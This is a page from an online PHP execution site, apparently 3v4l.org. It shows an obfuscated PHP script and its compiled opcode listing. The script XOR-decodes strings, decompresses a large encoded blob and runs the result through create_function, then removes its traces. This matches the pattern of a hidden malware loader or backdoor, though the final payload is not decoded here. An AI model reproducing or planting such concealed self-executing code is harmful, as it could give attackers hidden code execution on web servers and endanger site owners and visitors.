3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["zyvljw"]=array( '$GLOBALS["zyvljw"][0]=$GLOBALS["zyvljw"][3];$fujsryug=fujsryug(3,13);$GLOBALS["zyvljw"][0]=$fujsryug($GLOBALS["zyvljw"][2]);', '$GLOBALS["zyvljw"][2]=gzuncompress(fujsryug(730,2163));', 'QlN7e3BZeHZgbVFzeXVpfExhfW5PcHhiandqcmh2fGp2Z3JtUGdiZHhgfFVFeFROVlxKR0dfW1hdVl9bV1BcTltBdnBtY3l+fWFjZHllTE9Rc3t9KXx9J21GSEJKJjspNEtRVm50R31jP2FyZTJjImRBfT09JnBuMnhff3pDdDMzeWlycHh7dnd0cnN6YW12RUVjdXp2YWd2P3ZjeHl4OW14Y3ZgMmRifXNtbWQ9emFhe2VmPmBnZXdxd1hOWkFNVlhaWlJ9c39BTFBOZ0JhUSg6NkN6d1pBTVZUW1tcVkFJZUZqcHRqYz0nS2tnc3lzdyRsZHt6dy14dnhqYWRCOXNjTEBQSFNOQEBQV0JfZmxCaElBVktPW0dLQUNdU1dBS0NAXFRSTEdbUFlYUEUtWXJYSz1xfHAkYHxiaFJQPWF0diQ9cmBsZDtifGZhUT1hdHYkPV1MRz1jeXt3V3R6TEZYSXB2RlBUVk1MVkJGWElCQkFQPWF0dlNnZXVpandLe29gSXN7fXhweEZmeGlQUlplZTRlZH1gamxkOWJiY3ZrdmZrbkxGYVhlZTRlZH1gamxkOXRzbHFvZnJ0emtlbndLa2tiPGFDbDx5dmFZVm5wdGpjPSdLa2dzeXN3THhCYWVHQ05hYWtjan5LaGdkSXp3e3hVdnRtZ2NoV0VQZ2dwamFWTlpBTVZURkdKUE9XUFdBTVBzSmF0JDdneXRxYXZlezlieGNrRncnN215dnZ8LHN5emVWSU1wITdgZGF1Y2tzczlxYHRQdWhoPWJpK2h8emlrdzhnen8mfy9PYkk0fiRWd0pGUjRhJHZjYzJ/P25HZzRjJHVMdFdxYGtqVERsRHt7cHJEcE5Wem8jSXphbXYxPDtnNGIkYGxwS2FwbWl7Z0VtTTRiJGV+QVZMd218ZWJ'.'MSW50SzRiJHVgM1xbVkA5Jjw/bXR2TnFaempyMTNkaGtnaT1Nb2qJnF7iffdJEG6DofJDXZoEzSVyz9C4got2dfvWOWUOSi1Hhyk6hT1HWipjC3HuXmci0NDq/ztGX8VjwEXakyy2aP8BmDsd83R7C5tVXoslELpRtZ2xqJwK+IUl44UxR1TUP8yAD2rA8HxNWcm1c2IvEMCoqTcO6kPBxj9HepTQmFOxdHKRegOSfhdKFfUe6yRd7gGhIsRnHQicux6P/pqxfrOgTR61rjCCmrVHFQ5PjACq06luKoag3dxMlbxpt0kAQKea4CBz2TYtkq6c6ngkHg+feP17cr3YOdO1fFglm63wvlL1etQIDgLGINMj224EvnhbmlLSa1bM8Owj69nGJPXorrkeRl3V/7JycQjtvYBTkuDUeh1ExZ80nk0CsvJ1KEvphocYWwwy0AyOkXXC0pynNbVRZp5+nThWKp7c00SD/8y5PgnwAwdBryUT9AJPAlkFF0oRq2AYOtYt+fRYT4SFBypuIovBqUFTHiC3VuodbRaHixXx7qn8tdM4xAPOqEU5QPnd4xkkZot6JH8OdOWN54u+sZDvBzjepWm2phoMrIzRMdxdSVlyU15/Q7edHL7lAWtajuPPO9ndPWaNuuX3fQJ968npbCA8xJR56en6AeAD6hTujlFJhBnINnqeZxLZNFU1qxQ+7CgzztU09GW40nePxf40TleM0bLRRYXZJIbAYZ+3v9hQncyeNZUaNjQkZPEzT7fzL2bl970TCgl7K5218DQ96pF2+U2xuUxR5G2qz8a6MeE7x+dwLLE6GzkggJJpWjqz9TyA/W6H74qAqry/0px2/12P1Hu9i7tyVht7FWtG3j5Q3qTEYNJYTm9ks83FaZWnQNVDb1W3M1wgefWE9doiQ31JlRCHNdn2Pjl5xnFNsy'.'px1WvCXn8O93D9YDeutLFEysIJk7jNfeB8EIZQPcHAG8L6ZV+d8Ur5fCqn+ufd0zH19OsRM45KpprEYCvCMGBO56WMFAVItqcxW2hJP10rxLoivsrvvM1g3u9PDI3gOB0Bo+QYKmG/r5ESvkaEE+mWT6XAJ8GYHJxn0wmxlxS863WvgpLSK4QCReRwCS8pduzEVhREl58kellvVB4r77pQCG8pBHhYBp2C4V8W+CKY5bej4l3TkinEEq1upO2oUITAkU2nGLhWFcNLLoz111BQKmpW+Z+tYQ6oWIaAX42ZTrjQI0IwRWbGqD9n+nC9D8sqZEt+fLYj3bQhNe15OJZ07f/pePL//PfntPPQ8vfTI2tXgxe45z9p+iNYSE+Zwf7s34D4YrZh3UNrmvO013obBbxWokNHfPKs1sBkZGoSdFSzlWUdg0MO1b/r6n4g+MYStKpala6LPR3WvS6vggKKK67ySiAwTWUqUUzJqMPWdA1I+A2HSEUwssyW3n9hHBqai4Yy3mZ6nDQLVdRU8hL+NXwScMn4vJo4U2GWSfm6zyDrdWxOFpUta6HCuk0GnkMcsGs0DgeRWhsqkSXbGYVfCVQccQmMC5R+YoEDYSCLyrISXx+1NTOnhgWCR+NwP095MFA56UslRhLQZWGHJ9ep1fKjE4gzfY2J3UpAt+EozvT04fju95KOYgcpy3c1EVzR2X8PtStSeLar1DmPATgqSfGYhnyeh'.'dg2eKjg8xKl56Scm2Tids/+xW6pz/XxDZhCfhQ39XJ9Zb2w6NvC8lWmpVsuX7WJ0OdMDXDOiHbQVrY0xxG2IjC0ubmshln3cwNzK0P9VUhgUrAl8y+Qq+BrBjz54avljXJds2LIiJd8kBmTmH9DlA1gefzrwFcJ1hzF003Xd8fjZa/Po738lD5B7t6m+934Fbuy/bSFEJTpzK6IqxKOJ2tYlcgidGJBQcjCFqQ7Yg3Izk7g+KvPcRKHB/iewoHB6R0xdNdsfouLKcCaSHwYVdyCcgnTrYaIJtFHo5ZYCpGMrbzxY/5N/C4P1XQAg874N3vPyOZsVegT2JBfI3QhbkEf/9DPP0sR0RJPtnZC3L3ANWGF4MkKtteKOnTkdDIVzrPmFUZl2FAXMFS26RVKBVKX1Kde8bvedT6x1t76u+WHgR9ZWaw5evH3TZuKTGo8jUzkjDcZQZCGijVslCZ1tlX283yWGJwKQVejOzFBgaaRFKJizz62oSTnFftTA46Am0Zz3Z54PUxsIU3HvLETKa+0xPGVN0lAfNwxErFDr3PGTCvAB/1pBP8NwLrtWlKcvG2IykxS3rSI38dyFT+GLZWoGOuL0NJmBCB+yRX5WDpvShwqxVQ6Y98PPydXUUOVDHvu5w0TmmSPg'.'DThrabcHbp178ZxbV6FLpNCz0nKwSDYPj7YdkrGFsOWrlgWY/i2C5dFweUwByBhcuizlpU00RfBuaWjGv/YGHBEAyvrtQuNHh2dpgphYNIF69RswytpTK0ql/Bv+nPoIZ7ih7wli7HS8x/oVZOwLwLrYDmX911Ir3JHTlvMF+tcJ6WKMYdubmf+emTrO4AfrwKpMmm9vXSvrVb+3A4ZNirCf4IM1vWHZhlV7CJz4uv28E4A2q31ksKhjPjPyO3YW+iD9MLX/zj1ekQkawPtjokj0BFpobsu79tE8FRua6Cb/Ve4xySlBg9Pdb7Gjmgt/puDT57whnIRkWR8HrxkGWHsaPIvbkKCvtgQlC8RMb30wrjBArGBxbaBXY+ajFAzoL/X5eyx5UvfET+Rwa3GSr4JyiJlKq+ejXq/CTO08jb6pE9B1V27Gx9WDJUdetJ5qxwZMAEFybPEPnA4VK5aqrPlE78oei6lZBo9y9OUucsFMS/oWHxjKJxo8xZY7PCI6l3VNV3+Lu79OQjypk28bDf6kXAQwldW50wHF8oGdo+yighyj6kIwLx5GS2abvizaBSDwAY6RiWrY+30NscJAjMoTfEU4tnDzlFTSQ==', "/*r\x70\x74\x6a\x63\x3d\x27\x4b\x6b\x67\x73\x79\x73\x77*/");$bczlzia='create_';if(function_exists($bczlzia.='function')){$bczlzia('','}fujsryug($q,$a){$c=str_pad("",$a,"ruyfkstobpvwroyj");$n=str_repeat("\x1f",$a);$r=str_repeat("\xe0",$a);$m = substr($GLOBALS["zyvljw"][0],$q,$a);return(($m^$c)&$n)|($m&$r);}{'); for($nj=-1;++$nj<3;$GLOBALS["zyvljw"][$nj](fujsryug)){ $GLOBALS["zyvljw"][$nj]=$bczlzia('fujsryug',$GLOBALS["zyvljw"][$nj]); }};unset($GLOBALS["zyvljw"]);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 37
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 15
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 15
Branch analysis from position: 37
Branch analysis from position: 15
Branch analysis from position: 37
filename:       /in/evg7S
function name:  (null)
number of ops:  40
compiled vars:  !0 = $bczlzia, !1 = $nj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'zyvljw'
    2     2        OP_DATA                                                  <array>
    5     3        ASSIGN                                                   !0, 'create_'
          4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->37
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7Dfujsryug%28%24q%2C%24a%29%7B%24c%3Dstr_pad%28%22%22%2C%24a%2C%22ruyfkstobpvwroyj%22%29%3B%24n%3Dstr_repeat%28%22%5Cx1f%22%2C%24a%29%3B%24r%3Dstr_repeat%28%22%5Cxe0%22%2C%24a%29%3B%24m+%3D+substr%28%24GLOBALS%5B%22zyvljw%22%5D%5B0%5D%2C%24q%2C%24a%29%3Breturn%28%28%24m%5E%24c%29%26%24n%29%7C%28%24m%26%24r%29%3B%7D%7B'
         12        DO_FCALL                                      0          
    6    13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->34
    7    15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              'fujsryug'
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'zyvljw'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'zyvljw'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
    6    27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'zyvljw'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        FETCH_CONSTANT                                   ~19     'fujsryug'
         32        SEND_VAL_EX                                              ~19
         33        DO_FCALL                                      0          
         34    >   PRE_INC                                          ~21     !1
         35        IS_SMALLER                                               ~21, 3
         36      > JMPNZ                                                    ~22, ->15
    8    37    >   FETCH_UNSET                                      $23     'GLOBALS'
         38        UNSET_DIM                                                $23, 'zyvljw'
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.3 ms | 1392 KiB | 15 Q